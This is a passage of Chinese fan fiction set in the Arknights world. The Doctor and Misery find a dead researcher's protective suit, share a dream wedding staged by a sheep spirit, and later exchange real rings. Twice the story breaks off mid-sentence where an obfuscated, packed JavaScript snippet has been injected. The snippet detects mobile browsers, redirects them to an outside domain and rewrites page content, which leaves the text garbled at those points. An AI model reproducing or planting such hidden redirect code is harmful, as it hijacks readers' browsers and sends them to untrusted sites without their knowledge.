“我也不知道,”博士回答,“它们应该是某位兽主的兽亲……” “这我倒是有听说过,萨尔贡悠久的历史上不乏这些神秘的动物。” 因为飞得足够高,他们取下了防护面具,呼吸高空还未被污浊的空气,从这个高度往下看,整片熔岩区都收入眼底,巨大的机械臂切割、粉碎源石与黑曜石的混合物,被这群机械“清理”过的街道留下满地狼藉,无人在意被履带碾过的废墟下是否埋藏着过去几代人的回忆。 麦克斯想让他看见这些吗?……不,它只是想展示哥伦比亚的强大与先进,熔岩区发生了什么对于它来说无关紧要,这里的矿石能够带来的商业利润才是它的最爱。 一号监测站已经近在眼前,虽然已经垮塌近半,但最重要的核心建筑依然在半山腰上挺立着。火山灰掩埋了一楼的入口,他们直接在楼顶降落。 粉色小羊咻的一声,又缩回了原本的大小,落到博士怀里。这一次Sharp和Misery总算能够看见它了。 “被这么可爱的小家伙拜托的话,真的很难拒绝。”Sharp认真道。 “对不起,我之前摸错了地方。”Misery语气诚恳,他微微弯下腰,再次试探着伸出手去,但这一次他没有被拒绝,小羊一动不动任他揉捏蓬松的软毛,萨卡兹脸上露出腼腆的笑容。 博士一时都分不出到底谁更可爱一点,他笑着捏了捏萨卡兹的脸蛋,“我们Misery也很柔软很可爱。” “博士——”但他已经不是那个会脸红着僵在原地任博士揉捏的萨卡兹了,他握住人类的手掌,偏头亲了下掌心,眼睛笑眯眯的,“您也很可爱。” 反将一军,这下换博士脸红了,Sharp中立的声音恰到好处插入了对话,“呃,我找到下去的入口了,需要我先进去探路给你们俩留点时间吗?” 粉色小羊也从博士手里跳下来,叮铃叮铃的铃铛声伴随着它轻快的脚步,三两下跳进了Sharp的怀里,天知道五大三粗的雇佣兵怎么会这么流畅自然地接住这只柔软的小东西。 “不用,这里不安全,我们快去快回。”博士抽回手,不自在地往Sharp那边走去。 Misery紧随其后,他的手却不老实,悄悄从后面伸出,食指先勾上博士的小指,然后再整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391786|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个手掌包裹上,博士没有甩开他,于是他更加大胆起来,指尖挤进指缝,十指相扣,亲密无间。 监测站内部的损坏太严重,长期停电缺乏维护,这些娇贵的电子设备没一个能用的,监控也彻底罢工。他们只能用笨办法,一个房间一个房间找过去,连小羊都跳下怀抱,跟他们一起走来走去。 在搜查完一层的房间仍然一无所获后,博士的目光转向一直跟在他们腿边的粉白小羊。他慢慢蹲下,和这只小羊轻声说道:“你记得这里吗?” 小羊有些犹豫地点点头。 “那你知道这里哪个位置是观察火山的最好地点吗?” 小羊使劲点头。 “麻烦你带我去那里吧,我对这里的火山很感兴趣,从那个位置看,一定有不一样的风景。” 小羊的眼睛都亮起来了,它昂首阔步,往走廊的另一边走去。博士起身看了一眼旁边的两个人,然后轻轻叹了口气。 他们跟在指路的小羊身后,来到一个房门严重变形的房间前。 “把面罩带上。”博士提醒道。 等他们都带好防护面罩后,Sharp和Misery合力撬开了那扇门,扑面而来的粉尘里,混杂着少量的源石结晶。 房间边缘,能够一眼观看到火山的玻璃前,静静躺着他们正要寻找的防护服,以及一地的源石粉尘,和裙子边缘垂下的红蓝交织的丝带。 小羊惊喜凑到防护服跟前,但它很快因为防护服里多出来的东西而感到疑惑,在它碰到那些源石粉尘以前,博士拦住了它,然后伸手把它抱起来,手掌捂住那双纯真的眼睛。 “尽管已经有所预感……抱歉,阿黛尔,让你直面自己的死亡还是太过于残忍……”小羊在他怀里突然停止挣扎,变得温顺,“回到你的爸爸妈妈身边去吧。” 他把小羊塞到Sharp手上,转过头对俩人说:“我们至少可以帮她把防护服带回去,这里的源石粉尘虽然已经失去活性,但仍然需要小心,我来清理,你们两个去外面等我。” “我也——” “博士——” “不行,尤其是你,Misery,你今天源石技艺本来就用得够多了,至于Sharp,希望你能理解我有我的理由。” 斐迪亚叹了口气,他拽住还试图死犟在那里的萨卡兹,把他拖出房间。 小羊在Sharp的怀里发抖,他学着萨尔贡人撸菲林兽亲的样子,安抚这只棉花团子。Misery蹲在墙角,还在为Sharp和博士驱逐他的行为不乐意。 “你就少让博士操点心吧。”Sharp摇头。 “可万一博士一个人在房间里遇到危险怎么办?” “你就像老年母羽兽护仔一样,博士没有那么脆弱,相信他的判断。” “我不是不相信他,自从来到这个鬼地方,我就一直有种不好的预感。” “独眼巨人的预言,有所耳闻。” Misery敏锐分析道:“我没有开玩笑,Sharp,就像我们之前看不见这只小羊一样,它会引我们来这里不是偶然,是有人刻意引导,对方甚至有可能不是人类。” Sharp耸肩,“看来我今天遇到的超自然现象足够推翻哥伦比亚的物理学大厦了。” 博士剥开防护服,用小刷子刷掉那些粉尘,原本漂亮的裙子因为源石的爆炸和环境的腐蚀变得破破烂烂的,博士只留下了那几条完好的丝带,将衣物残片清扫出去。 他太专心,太入迷,以至于没有第一时间察觉到在脚边蔓延开的粉红色烟雾。 直到陌生的声音从他头顶传来。 “你好呀,博士。”像棉花团一样漂浮在空中的黑色大羊,它的头顶还带着一顶王冠,“谢谢你把阿黛尔送回来,她的爸爸妈妈急坏了。” “你是……?”博士没有太惊讶,兽主在泰拉古而有之,而且因为过长的生命,他们当中的坏家伙并不算多。 “你可以叫我多利,从你来到汐斯塔起,我就在观察你了。哦、这样对人类来说好像不太礼貌。抱歉,我对您很感兴趣,所以想邀请您来聊一聊。” “在这里聊?”博士手上的动作没有停下。 “我知道这里对你们来说太危险了,但我实在不忍心看着阿黛尔,这个我看着长大的孩子孤零零一个人躺在这里……她最后的愿望是有人能够把她家人的防护服和研究笔记带回去。那些傻乎乎的、只会使用蛮力的哥伦比亚人不值得信赖。而你和那些人都不一样,你赢得了阿黛尔的信任与喜欢,让她带你们来到这里。” “她是怎么……”博士翻过防护服,仔细检查还有哪里没有清理到位。 “她继承了父母的事业,专心于火山的研究,也是她第一个发现监测数据不对劲,本来想预警全城的人撤离,但根本来不及……我们虽然喜欢岩浆冲浪,但人类的尖叫和痛苦吓坏了我的小羊们。 “小阿黛尔继承了父母的勇敢,也同样继承了他们的固执,一个两个都不听我劝,执意守在这里。她在火山边上吸入过量的源石粉尘,加上矿石病太严重,能够撑到这个房间已经相当勇敢了。” 博士语气有些动容,“她甚至还记得锁上门,不伤害到其他人。” “阿黛尔是个很好的孩子,我很遗憾,她的父母也曾是我的好友。”黑羊的耳朵耷拉下来。 “但你想跟我聊的不止是这一件事吧?”博士合拢防护服的拉链,还好材料足够结实,主人也非常爱惜,上面除了深浅不一的烫痕,几乎没有破损太严重的地方。 “您很聪明,”多利蓬松的躯体几乎占据了大半个房间,但它身上的毛发却像云雾一样没有实体,“应该能够猜出来我们与源石之间的联系。” 博士抬起眼睛,他的注意力第一次从防护服上挪开。 “尽管只是很模糊的一种感觉,但您很亲切,源石内的那一部分使我们与您亲近,但我不希望这种亲近伤害更多像阿黛尔这样的孩子。” “我无意伤害他们……” “我不是在指责您,只是希望在您做出任何重要的选择以前,想一想阿黛尔。” 博士从桌子抽屉里找到了那本笔记,轻轻放在防护服的手套上,“我会记得她的。” “那就足够了,谢谢您。”多利身边的洋红蒸汽开始褪色、变白,“对了,您外面的两位朋友,可能需要一点您的帮助才能从幻梦中苏醒,别担心,他们醒来只会觉得做了一场美梦。” 22. 21 空气好像突然流通起来了,不复火山边上的干热与沉闷,博士迈过门槛,闯进白色的云雾中。 这里与现实截然相反,柔软湿润的草地,脚感却像棉花一样,博士左右观察,四周群山林立,绿意葱葱,浅淡的阳光穿透云雾,即使已经行走过泰拉如此多的地方,但这样一片美丽的草原仍然令人印象深刻,也许多年以后,他也会记得这片群山掩映中的半扇画卷。 博士往前走去,他不需要特意寻求方向,梦境的主人自然会引导他到身边。 这里的时间流逝也如天边的云朵一样,忽快忽慢,慢慢汇聚成一团,又转眼间散开成漫天飞舞的细绸带。博士闭上眼睛深呼吸,这里的空气也清新温暖,没有源石粉尘与火山灰的污染,他上一次这样放心地大口呼吸是什么时候的事情? 他继续往前走去,时间混乱,物理上的距离也不再准确,他这么走上好一阵,草原却一点也望不到尽头,山头的位置也没有丝毫改变。但博士并不着急,这样美丽的景色,如果只是匆匆路过,未免太浪费了,尽管他已经越发好奇起来在梦境尽头的是什么。 仿佛突然间撤去了云雾的遮挡,博士停下脚步,有些惊愕地看向面前突兀出现的场景,粉色的、白色的、白粉的、黑色的、黑白相间的……羊群们,他们围着白色的桌子,用嘴代手取用陈放着青草蛋糕和草莓切块的餐碟。 粉色与金色的气球与花束堆满整个场景,最中央却留出了一条空道。小羊们非常有默契地避开了踏上那条路上铺着的浅色地毯,毛茸茸的羊毛一样质感的地毯一直延伸到场地尽头。 在拱立的巨型花环下,博士总算见到了第一个小羊以外的生物。 身着西装的不知为何以僵硬的姿势站在原地的Misery,他注意到博士的到来,眼神直勾勾地盯着这边。不仅他发现了博士,在场的小羊们也都齐刷刷看过来,角落里在弹钢琴和拉小提琴的小羊都停下了动作,它们的目光急切热烈,这让博士颇有一种危机感。所以他往后退了一步,但是他的腿边已经聚拢了一堆棉花糖似的小羊们,它们簇拥着他,轻轻把他往前推。 “你们在做什么?多利呢?”博士语带无助。 “它说希望你们玩得愉快——”羊群中一个带着眼镜的羊说道,“欢迎我们今天的主角!” “等等……” 几只小羊叠在一起,最顶上那只烫了发型的小羊眯眼打量起还没搞清楚情况的博士,然后从身上咬下一团毛,吹到人类的脸上。 博士下意识偏过头闭上眼睛,但那团羊毛却像水雾一样轻柔,拂过他的面颊,等他再睁开眼睛时,他身上那套防护服不见了,取而代之的是白色的长裙,他的头顶甚至笼罩着一层白纱,扣上一顶金色的花环,他好像隐约知道这群家伙想干嘛了。 “我可以申请换下衣服吗?裙子真的很不方便。” 烫发的白羊却扫过严厉的目光,它的鼻子喷气,刚刚那只戴眼镜的解释道:“不要怀疑梅的眼光,她是我们这最懂美的人,相信我,这样很适合你——好啦,别让大家等太久,尤其是那边的新郎官,要不是我们拦着,他肯定早就已经等不及跑过来了,那样多没意思。” 博士被推上了地毯,行吧,博士叹气,既然他们执意如此,那就配他们玩玩好了。好在可能考虑到博士的体能,没有给他穿上厚重得像蛋糕塔一样的婚纱,而是简简单单的轻薄连衣裙,露出光洁细长的脖颈与圆润的肩头。连鞋子也被没收了,赤脚踩在柔软的地毯上,脚腕上环着金色的细链子。博士昂首挺胸,神色如常走上地毯,踏着小羊伴奏的乐声,越靠近那头的萨卡兹,博士越能把萨卡兹眼里冒出的光亮看得彻底。 Misery的脚边同样缠着一群小羊,数量却是博士刚才身边的好多倍,看得出来要挡住萨卡兹不第一时间奔到他身边挺不容易的。随着博士的走近,萨卡兹的躁动也舒缓了,但他的脸却越来越红。 围在他脚边的小羊完成使命,一哄而散,博士走到他跟前了,萨卡兹反而不好意思起来,他低下头,心虚摸了摸后颈,“抱歉博士,呃,他们有点乱来,我试过制止但是……” “这可是你的梦境,Misery,你真的不想吗?”博士微笑看着萨卡兹的表情从犹豫变得坚定。 “我愿意!——咳,我是说我当然想,可是我不知道你是怎么想的,我完全尊重你的意愿,博士,如果你有一丝一毫的抗拒,我保证会带你离开这里。”Misery考虑得很全面,“我试过了,我对这个梦境也有一定的控制能力,所以我——” 博士摇了摇头,牵起萨卡兹的手,“你总是为别人考虑太多,为自己考虑太少,凡事往最坏的可能去想……你怎么知道我就一定会拒绝呢?” “不用照顾我的情绪,博士,我不想你因为可怜,或者其他的原因,”Misery握紧了他的手指,他的声音也透露出紧张,“陪我演这场戏,就让这些东西停留在我的梦里吧,这些妄想,不该也不能成为束缚你的枷锁。” “唉,我细心又温柔的Misery,你的温吞真是让人又爱又恨,恐怕就连我要毁灭世界了,你都是那个最后恨我的人。”博士轻声叹气,“再给你一次机会,你可以换一种更合适的方式问我。” “我…呃。”一只小羊突然撞到他的脚边,羊背上放着一只精美的蓝色盒子,Misery不需要打开就已经知道里面是什么东西,他轻声道谢以后取走盒子,金色的眼睛思索一阵,然后想定了什么,拂开下摆单膝跪地,指尖轻轻掀开盒盖,露出绒布上的银色戒指,戒托上墨黑的宝石介于源石和黑曜石之间,漆黑中蕴藏着无尽的光亮。 “你愿意和我结婚吗,博士?” 博士几乎没有任何犹豫伸出了自己的手,“——我愿意,发自内心的愿意。你可以更自信点的,Misery,我比你想象中的还要爱你。” Misery托着他的手掌,小心翼翼戴上那枚戒指,银色的指环穿过纤细苍白的手指,也许正因为在梦里,戒指的尺寸恰好合适,完美套在无名指上,黝黑的宝石像扎根于浅色□□中的一朵深色的玫瑰。Misery托起他的掌心,在手背上轻轻一吻,“我永远爱你,永远不会背弃你,无论何时何地,无论处于何种境遇,我都会站在你的身边,支持你,保护你,直至死亡将我们分开,在那之前,我绝对不会放开你的手。” “哦呀,你怎么把我这个司仪的话全说了?真是让羊不省心,我还想多念点新学的台词呢。”多利顶着它那顶为了迎合气氛变成白色的王冠出现,“噢,好像还少了一个环节。” 粉色的云朵托起另一个盒子到博士手边,博士扶起Misery,取出里面同样的戒指,低头为Misery戴上。给博士打扮的小羊说得对,白纱笼罩下的人类面容更加柔和,朦胧的细纱增添了一层神秘与美丽,博士抬眼时的惊艳更让Misery呼吸一窒,雾蒙蒙的眼睛不复往日的平静,眼角眉梢都含着笑意,博士要是这个时候眨眨眼说点什么,Misery估计脑子都不带动的,让他跳崖也会立马去。 “现在,让我们恭喜这对新人——祝愿你们未来的生活都快乐胜过悲伤,欣喜胜过失望,幸福胜过痛苦,愿你们能在彼此身上找到自己的温暖与幸福,我和我的小羊们会为你们记录下这一刻——来让我们听听大家还有什么想看的?”多利转头看向底下不知何时安静下来围观的小羊们。 咩咩叫的声音此起彼伏。 “喔~我明白了,下一步就该接吻了,请新郎亲吻新娘——台词是这样的吧?” 咩咩叫的声音更大了。即便他们听不懂小羊们在说什么,也能从羊们的起哄中理解含义。爆出的彩带和气泡水的滋滋声闹哄哄的。 Misery更是不用任何人教,他俯下身隔着头纱吻上人类的唇瓣,手臂扣紧腰身。博士悄悄踮起脚,伸手环上他的肩膀。他们热切挤压着彼此的唇,即使因为头纱的阻挡,缺少舌头的参与,仍然吻得十分投入,以至于多利带着小羊们悄悄变成一阵雾消失了也没发现。 等博士气喘吁吁停下时,四周的草地上那些白色餐桌、粉色气球、漂亮的花环都不见了,这片绿茵茵的草地上就剩下了他们俩人。Misery额头与博士的相抵,他牵起对方的手,“在这里待得越久,我越能感知到一切,从东边的森林里穿过就能离开梦境了,但我舍不得这里……我已经开始惧怕回到现实了,博士,究竟还有多少死亡与不幸等待着我们……” “我们可以绕远路,这里的时间流逝和现实不同,不用那么急着回去。”博士捏了捏他的耳朵。 博士还是摘掉了花环和头纱,这会阻挡他观赏美景的视线,他趴在Misery宽阔的背上,既方便他指挥方向又方便他看风景,快两米高度的世界果然不大一样,连空气都更清新了,再顺便骂两句多利,连双鞋都没给他留下! Misery平常本来也好说话,这个时候更加百依百顺,一直笑眯眯的简直像换了个人,连一直不大乐意给博士摸的角也随便博士盘。 博士手也规矩多了,他避开尖锐的部分,摸角的前半截,Misery角虽然小巧,但形状别致,像一对小小的翅膀,“你为什么以前不让我摸角?除了会伤到我的手这个理由。” “咳,角根部的神经很多,很敏感……而且对于萨卡兹,触碰角代表的不是挑衅就是求爱。” “求爱?” “嗯…除了那种意味,萨卡兹之间表达亲密也会互相保养和打磨角。” “我也想试试。”角的硬度相当高,博士的指甲都没能在远端留下什么痕迹,不过也可能是他力气太小。 “等回去了我教你。” “好,但你还是没回答我为什么不让摸,求爱也不可以?” “我……”博士看见萨卡兹的耳朵尖红了起来,“我有点传统,你想笑就笑吧,博士,我不像其他年轻的萨卡兹同族,只有我认定的愿意与之共度一生的人才能碰。” 博士拖长音,“哦——所以就是结婚才能碰是吧?” “……嗯。” “那等我们出去以后我还能摸吗?” “可以。” “你就不怕我出去以后就不认了?说这只是你做的梦?” “……可以,无论有没有通过这种仪式,你就是我想共度一生的人,博士。” “你什么时候偷偷找人进修过,嘴怎么越来越甜了?” “我有认真看过Mechanist的推荐,嗯,就是在跟你闹别扭那段时间。” “……你不会真去看了那些肥皂剧?” “看了几部。”Misery老实道,“但是参考意义不大,因为博士你不是无理取闹的人,也不看重物质,但里面的浪漫剧情挺不错。现在回想起来,你生气的样子其实也很可爱,而且我现在明白了,让你生气的不是因为我说的那几句话,而是因为你发现你的心被我抓住了。” “哼……”博士不情不愿承认道,“虽然那些肥皂剧确实没什么营养,但你的确进步很大。” 他们穿过树林,来到另一块平坦的草地,博士提出想自己下来走走,Misery就撕下身上衣物的布条,托住人类的脚后跟,把脚仔细包裹起来。 博士坐在石头上支着下巴打量他:“你性格温和,做饭好吃,做家务也勤快,会照顾人,还很能打,谁有那么好运能跟你结婚呢?” “原来你就是看上我做的饭才答应的。”Misery故意哼哼唧唧起来,在博士小腿处打了个漂亮的结,“但是没关系,我可以给你做一辈子的饭,让你想忘也忘不掉。” 博士起身试了试,Misery包得很厚实,踩上小石子也只会让他感到轻微的痒。他往前走了几步,然后转过身来,抱上萨卡兹的腰,Misery的怀抱带有他熟悉的温暖和味道,“谢谢你。” Misery回抱了他,“我才应该谢谢你才对,谢谢你给了我一个机会,谢谢你让我走进你的心里,谢谢你愿意接受我的感情,谢谢你最终爱上了我。” 博士轻轻推开萨卡兹,然后踩在他的鞋子上,踮起脚勉强够到了后颈,吻上唇面。Misery低下头,一边扣住人类的后脑勺加深这个吻,一边扶在后腰上,防止人类体力不支跌倒。 如他预料的那样,博士很快坚持不住这个动作,半个身体的重量都靠在他身上。Misery舔吻着下嘴唇,蹭过下巴,埋在人类颈间一顿啃,他这段时间已经克制许多了,牙印与红痕已经消退,白裙领口露出的那一截白玉般脆弱的脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391787|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈勾得他魂不守舍的。但这是梦里,他可以做一些他平常不敢但喜欢做的事情。所以他放心大胆烙下一堆印子,啃得人类脖子上几乎没有一块好皮。 “嘶……你到底是萨卡兹还是佩洛啊?”博士抱怨道,但他的语气没有责怪的意思,“牙齿又尖得像菲林。” “我都可以是,博士,看你更喜欢哪一种?”Misery贴着他的脸蹭了蹭。 “唔……都很喜欢。” 轻轻的一句话换来了萨卡兹摁着他好几顿结实的亲,博士感觉自己的嘴唇都要被啃肿了,他只好捂住Misery的嘴,制止了萨卡兹泛滥的亲亲。 他主动牵过Misery的手掌,安抚性地挤压指节,“走吧,Sharp还不知道被我们丢在梦境的哪个地方呢。” 并肩而行的两道人影穿过白雾。粉色的巨羊重新出现在半空中,头冠变回了黑色,它的头顶还趴着一只粉白的、系着红蓝丝带的小羊。 “你问我故事的结局是什么,阿黛尔?”多利的耳朵抖了抖,“这你可问倒我了,你还是像以前一样那么好奇、那么敏锐。也许很快,你对源石的推演能力就会超过我。但命运这种东西又很奇妙,看似毫无逻辑却又环环相扣,无论你在他们身上看到了什么,记住他们此刻的幸福就足够了。” 事实证明他们的担心是多余的。他们找到Sharp时,斐迪亚正大半个身体埋在沙子里晒太阳,同汐斯塔的灿烂阳光不同,萨尔贡的太阳热辣到头顶冒烟。 更糟糕的是Sharp十分沉浸于这个梦,哪怕博士再三解释他们现在实际正在汐斯塔火山的半山腰上,斐迪亚也就摆了摆手说不要来烦他。 “你真的要毁约?这会影响你的佣兵履历吧,会上失信雇佣兵名单的。”博士摇摇手指,语气严厉地胡编乱造,“说不定还会传到萨尔贡王酋耳朵里,对你以后的名声不好。” Sharp立马从沙堆里钻出来,斐迪亚布满鳞片的尾巴左右甩掉沙子,他一脸严肃抱胳膊居高临下看着人类:“我已经警告过你了,不要在这里胡言乱语,我什么时候跟你签过……” “喏。”博士一抬下巴,旁边的Misery早就从Sharp的包里翻出了一纸合同,也难为他梦里都还惦记着包里的贵重物品。 Sharp神色凝重读完合同上的内容,上面的确有他的字迹,他有些半信半疑地摸了摸脏辫,然后转变了语气,态度陈恳:“抱歉,看来是发生了点意外,让我完全忘记了这回事。” 他拍掉胸口和裤子上的沙子,把合同装回包里,“我跟你们一块走,这里的萨尔贡比你们更加奇怪。” “哪里奇怪?” “你没有去过真正的萨尔贡吧,这位……” “可以叫我博士。”看到熟悉的人突然不认识自己了,还真是有点奇怪,博士想。 “好的,博士。这里的温度、湿度虽然很接近,风沙也完全是我记忆里的模样,但太安静太空旷了,这里没有热闹的市集,没有驮铃清脆的声响,连摸钱包的小孩都没看见一个。” “萨尔贡还挺民风淳朴的。”博士哼笑。 “外人更喜欢形容她落后、野蛮、傲慢,即便我是土生土长的萨尔贡人,也不能完全否认这些标签。” 博士点头,“我记得你跟我说过,你离开萨尔贡就是为了寻求一些改变,萨尔贡已经上千年停留在原地了,守在过去的辉煌里骄傲自大。” “那我一定非常信任你,才会告诉你这些。” “我认识的Sharp没提到这点。”博士耸肩。 “我的确没有,”不知何时笼罩在他们身边的白雾消散了,干燥呛人的糟糕空气重新窜入鼻腔,刺痛呼吸道,Sharp轻松笑笑,“你也会邀请我一起去拉特兰吗,博士?” “我会的,像你这样专业尽责的雇佣兵,在卡兹戴尔提着灯笼都很难找到。”博士拍拍他肩膀落上的灰尘。 折叠起来的防护服和笔记由Sharp带上,Misery照样只负责搬运博士,他们回到建筑楼顶,却有几只小白羊在上面等待他们已久了。 其中那个博士格外眼熟的戴眼镜的小白羊走过来:“我们来送你们回去,为了感谢你们找回了阿黛尔。” 白羊的脑袋上冒出几根竹制的条子,它们横折过来开始原地盘旋,就像直升机一样把毛茸茸的身体从地面拉起来,每一个人都有四五只羊一起架着胳膊和腿,真的带他们飞了起来。 博士的手边正是那只戴眼镜的小白羊,他问出了他一直想问的问题:“……你们以前都是住在汐斯塔的居民吗?” “什么?噢,不,多利不是这样的羊!我们的性格和特长可能来自于他们,但我们不是他们——阿黛尔是唯一的那个例外,也是我们一致同意的结果。做人类比我们痛苦多啦!我宁愿当一只自由自在的小羊,虽然多利老爱在我们耳朵边念叨,但也就只有它能管管我们,叙拉古那边讨厌的家伙们也很少追在我们的屁股后面了。” “的确,每天只用调皮捣蛋,飞来飞去,又不用担心生存与安全。”博士笑道,“多利捏羊的习惯是什么,它也会捏一个我吗?” “它捏不了你,多利说过你很特别,大家都会想靠近你,围在你的身边,要不是多利不让,你刚来汐斯塔肯定就被羊毛淹没了。” “没想到我这么受欢迎。”博士伸出手摸了摸眼镜羊的毛,其他的小羊不乐意了,发出噗噗噗的响声,博士只好忍着笑挨个摸过去。 “多利还说希望你在汐斯塔玩得愉快,如果遇到困难了,我们也非常愿意提供帮助。”眼镜羊的语气都变得愉快起来。 “谢谢你们,也谢谢多利。” 从这个距离已经能看见高新区的郊外了,新建的工厂与房屋粉刷得很白,市中心的人工火山冒出白色的蒸汽,残破的老城被甩在身后,幸存下来的汐斯塔人们仍然在城里忙碌着,新的汐斯塔风情街区招牌已经在路边吊装。 今天的天气看来很好,太阳从天边探出个脑袋,像金箔洒在海浪上。Sharp已经与梅兰德基金会的特工交了班,博士伸手拽了下Misery的衣角,偏头问:“陪我去海边走走?” 萨卡兹露出温暖的笑容,扣紧他的手指,轻轻点头,“嗯。” 23. 22 汐斯塔市政厅附近一处幽静的庭院中,美丽大方的黎博利姑娘为博士斟上一杯新茶,完美的维多利亚礼仪挑不出错处,姿态优雅却也难掩眉眼下的疲惫。她身后站着一位身背巨弩、气场强大的黑发菲林,眼神锋利,浑身上下散发出的危险性与博士身后的萨卡兹不相上下。但他们之间的谈话内容却轻松愉快。 “我们会认真考虑您的提议,只是汐斯塔如今刚喘过气来,百废待兴,实在没有多余的心力去向哥伦比亚当局争取这些珍贵纪念品的归属。” 博士轻轻点头,“我也会跟梅兰德基金会谈谈,他们对历史与文物的看重比哥伦比亚政府还是要强上不少。” “感谢您,博士,为汐斯塔的感染者,为我的旧友阿黛尔的遗物,也为您对于汐斯塔的帮助。”黎博利微微躬身。 博士轻声叹气,“不用客气,锡兰议员,你才是汐斯塔未来的希望,这些年你为重建汐斯塔付出的心血大家都有目共睹,我在新建的风情街上还时不时会听到有人称赞你呢。能够顶住哥伦比亚政府的压力,为大家争取来发展的机会,你和你的父亲为这里的居民撑起来了一片天地。” “我也只是尽力而为,自从家父去世,克洛宁这个小人就急不可耐出卖汐斯塔的一切。”她紧皱眉头,“如果不是因为黑的及时保护,恐怕连我都不能在他手里幸存下来。” “好在经过你们的努力,现在的汐斯塔已经走上正轨,除了风险巨大的黑曜石产业以外,工业与旅游业也已经初具规模,你的布局考虑很长远。”博士肯定道。 “虽然想要摆脱哥伦比亚的控制已经不现实,但我们绝不会任由那群败类榨干汐斯塔的最后一点价值拍拍屁股走人,我们会为我们的家园战斗到底,直到所有的黑曜石矿脉被彻底封存,直到每一个汐斯塔人都可以骄傲自称火山的儿女,直到我们用我们的双手彻底赶走过去的阴霾。” 她的眼神坚毅,年轻的面容已经褪去了稚嫩,谁还能想到,在从政以前,她还只是一个刚从维多利亚国立大学毕业的研究员呢。虽然自己的科研道路已经被亲手斩断,但她仍然坚持接触各国最新的科研成果信息,在哥伦比亚议会的需求以外,拜访大学和公司,试图为汐斯塔求索那一条发展的道路。 “您的研究项目是我个人非常感兴趣的内容,如果在以前,我肯定会试着申请成为您的研究助理。”锡兰微笑道,“可惜,如今的我也只能略尽地主之谊,既然来了汐斯塔,那就一定要去泡一泡火山温泉,我敢保证,这会是您这趟旅途最难忘的一个晚上。” 汐斯塔风情街的小巷里,博士随手挑了一家顺眼的饰品店走进去,直到店员拿出试戴的戒指往Misery无名指上套,萨卡兹才如梦初醒,整个人不可思议到尾巴尖都绷直了。博士倒是非常镇定,仔细挑选着款式和询问材质、保养方面的问题,还有内环能不能刻字。 他最后选了一款素戒,没有任何宝石的点缀,仅有流畅简约的花纹,但内环博士却用纸笔写下来几个特殊的文字——Misery认识它们,博士手把手教过他的内容,前文明字库里的爱与痛苦。 因为款式简单,店里客人也不多,店家的动作很快,两枚尺寸合适的戒指就这样静静躺在博士的掌心,一大一小互相倚靠着。 博士牵过他的手,萨卡兹修长的手指穿过银色的素环,腕上的彩色手链虽然已经有些磨损的痕迹,但与银白的戒指相得益彰。和梦境里的感觉完全不同,Misery感到一阵热流从他的心脏奔向四肢,即使没有婚礼场景的布置,没有热闹的小羊观众,没有区别于现实的完美景色,他们只是在还有一股浓重装修味道的新商业街区,一家普普通通的饰品店门口。博士为他戴上这枚戒指,却让他感到一股沉甸甸的重量坠在胃里。他不是太看重仪式感的萨卡兹,却在这一刻明白了某些仪式存在的必要性,是一种认可,是一种誓言,更是一种宣告。他们属于彼此。 轮到Misery戴时,博士看着萨卡兹一脸庄重和感动,好像下一秒就要哭出来了但是又强忍住一样,轻笑出声:“都第二次戴了,你怎么还是这么激动?” “这不一样,博士,梦里的你可能是为了哄我,但在现实中,”他轻轻给博士戴上,“这代表了很多东西。” “嗯?代表了什么?” Misery将人类拥进怀里,颇为眷恋地蹭了蹭他的头发,“你很爱我,特别爱。” “嗯哼,你什么时候也学会读心了?”博士回抱他,萨卡兹手上的戒指硌在他背后格外明显。 “因为我的心脏是为你而跳的,所以我感觉得出来。”Misery笑眯了眼。 “唉,看你现在嘴甜的,我都有点怀念以前那个木木的、害羞的、会躲在人群后面偷偷看我的萨卡兹了。”博士的耳边回荡着萨卡兹强有力的心跳声,鲜活的生命力与炙热的情感,染红了他的耳尖。 “原来你也很早就注意到我了。”Misery的语气欢快起来,“那时的我肯定连想都不敢想,未来的我们会在一起,一个杀手和一个学者,不可能的组合。” “是啊,你那时跟我搭话都板着脸一个字一个字往外蹦,不知道的还以为我怎么得罪你了。”博士打趣道。 “……我太紧张了,你那时就像天边的月亮,可望而不可即,而我只是个小小的、普通的但幸运来到你身边的萨卡兹,杀人是我唯一擅长的东西——除了做饭,但知道的人很少。” 博士伸手抚摸他柔软的浅灰头发,“不知道我有没有跟你说过,其实你和我很像,我们是一类人,所以我总是忍不住留意角落里的你,想着不能让你受委屈,但越了解你,越发现你的敏锐、细心程度也令我惊讶。 “我还记得有一天半夜,我避开了所有守卫,在阳台上看月亮,我的影子里也有你的安静陪伴——你不会以为你藏得很好吧?不过我也不打算戳破,直到你第二天问出了那个让我记忆犹新的问题,你问我‘你想家了吗?’。”博士的语气充满怀念。 “这个我有印象,”萨卡兹松开怀抱,捏捏人类的手掌,“那时候我还不知道你的真实身份,但我对你很好奇,我想知道你为什么偶尔会露出像我这种悲观的人才会有的表情,明明白天的你多么温柔,多么开朗,大家都那么喜欢你、信赖你……现在我知道了。” “好了,别提那些过去的事情了,重要的是当下。在离开汐斯塔前往拉特兰之前,”博士拍了拍他的手臂,目光投向远方橙红的夕阳,“是时候和过去做一些告别了。” 